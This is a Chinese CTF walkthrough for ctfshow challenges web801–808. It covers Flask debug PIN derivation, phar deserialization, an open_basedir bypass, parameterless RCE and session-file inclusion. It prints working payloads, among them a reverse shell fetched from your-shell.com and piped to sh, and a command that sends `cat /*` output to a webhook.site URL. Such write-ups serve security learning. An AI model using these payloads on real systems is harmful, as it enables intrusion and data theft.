flask算PIN
web801
先获取mac地址
1 | /file?filename=/sys/class/net/eth0/address |
先把冒号去了,然后十六进制再转十进制
得到
1 | 2485377605532 |
我们找个flask算pin的脚本
1 | import hashlib |
这里我们需要机器码,我们先访问**/proc/self/cgroup**
得到
1 | d1b9d0725f0d084e96c039bb557a13646b2c418388ed006646ab107f3c435778 |
然后再访问**/etc/machine-id或者/proc/sys/kernel/random/boot_id**
1 | 225374fa-04bc-4346-9f39-48fa82829ca9 |
拼接一下得到机器码
1 | 225374fa-04bc-4346-9f39-48fa82829ca9d1b9d0725f0d084e96c039bb557a13646b2c418388ed006646ab107f3c435778 |
我们到脚里修改机器码,运行得到pin值
我们访问console,将密码填进去
得到flag
1 | import os |
无字母数字命令执行
web802
https://blog.csdn.net/miuzzx/article/details/109143413
用这套无字母数字rce脚本
1 |
|
得到xor_rce文件后,运行配套python脚本
1 | # -*- coding: utf-8 -*- |
输入方法和命令,我们进行传参,成功执行命令
1 | system(tac flag.php) |
传入得到flag
phar文件包含
web803
1 |
|
我们看到题目web目录下没有写权限,需要写到其他地方比如/tmp下
首先生成phar文件
1 |
|
接着上传文件
1 | import requests |
得到flag
phar反序列化
web804
https://z3r4y.blog.csdn.net/article/details/134479335
【Web】Phar反序列化相关例题wp_newstarctf pharone-CSDN博客
1 |
|
我们发现代码里有个unlink函数,那这题大概率是phar反序列化
我们构造poc链
1 |
|
接着上传文件
1 | import requests |
得到flag
open_basedir绕过
web805
从0学习bypass open_basedir姿势 - 先知社区
我们看一下phpinfo();
可以看到命令执行函数都被ban了,那我们读文件可以用readfile或include
查看目录
1 | 1=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/')); |
得到flag
1 | 1=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/ctfshowflag'); |
php无参RCE
web806
1 |
|
**[^\W]+
**:
[^\W]
是一个字符类,^\W
意味着“匹配不是非单词字符(\W
)的字符”,因此它等同于[a-zA-Z0-9_]
,也就是字母、数字或下划线。+
表示“匹配一个或多个”这样的字符。
所以 /[^\W]+/
匹配一个或多个字母、数字或下划线,表示一个词或标识符。
**\(
和 \)
**:
- 这两个是转义字符,用来匹配字面上的圆括号
(
和)
。(
和)
在正则表达式中有特殊意义(分别表示捕获组和分组),所以在这里需要用\
进行转义,表示它们是字面意义上的括号。
**(?R)?
**:
(?R)
是一个递归调用,在正则表达式中,(?R)
表示递归地匹配整个正则表达式(即自调用)。这意味着在括号内可以再次匹配相同的模式。?
表示这个递归是可选的,也就是说括号内的内容不一定要再次进行递归匹配。
payload
1 | ?code=eval(end(current(get_defined_vars())));&Z3r4y=system('cat /ctfshowflag'); |
shell反弹
web807
1 |
|
法1:反弹shell
推荐一个网站:https://your-shell.com/
payload
1 | ?url=https://your-shell.com/ip:1337 | sh |
ip为自己服务器ip
先在服务器上监听1337端口
然后找flag
法2:vps外带
我们利用https://webhook.site/进行flag外带
1 | ?url=https://webhook.site/25364e81-eb5f-4bed-bdd8-ef0954269270?flag=`cat /*` |
卡临时文件包含
web808
1 |
|
临时文件的复现难度很大,建议直接session文件包含
用下面脚本打
1 | import requests |
能不能出看运气,超级讨厌这种题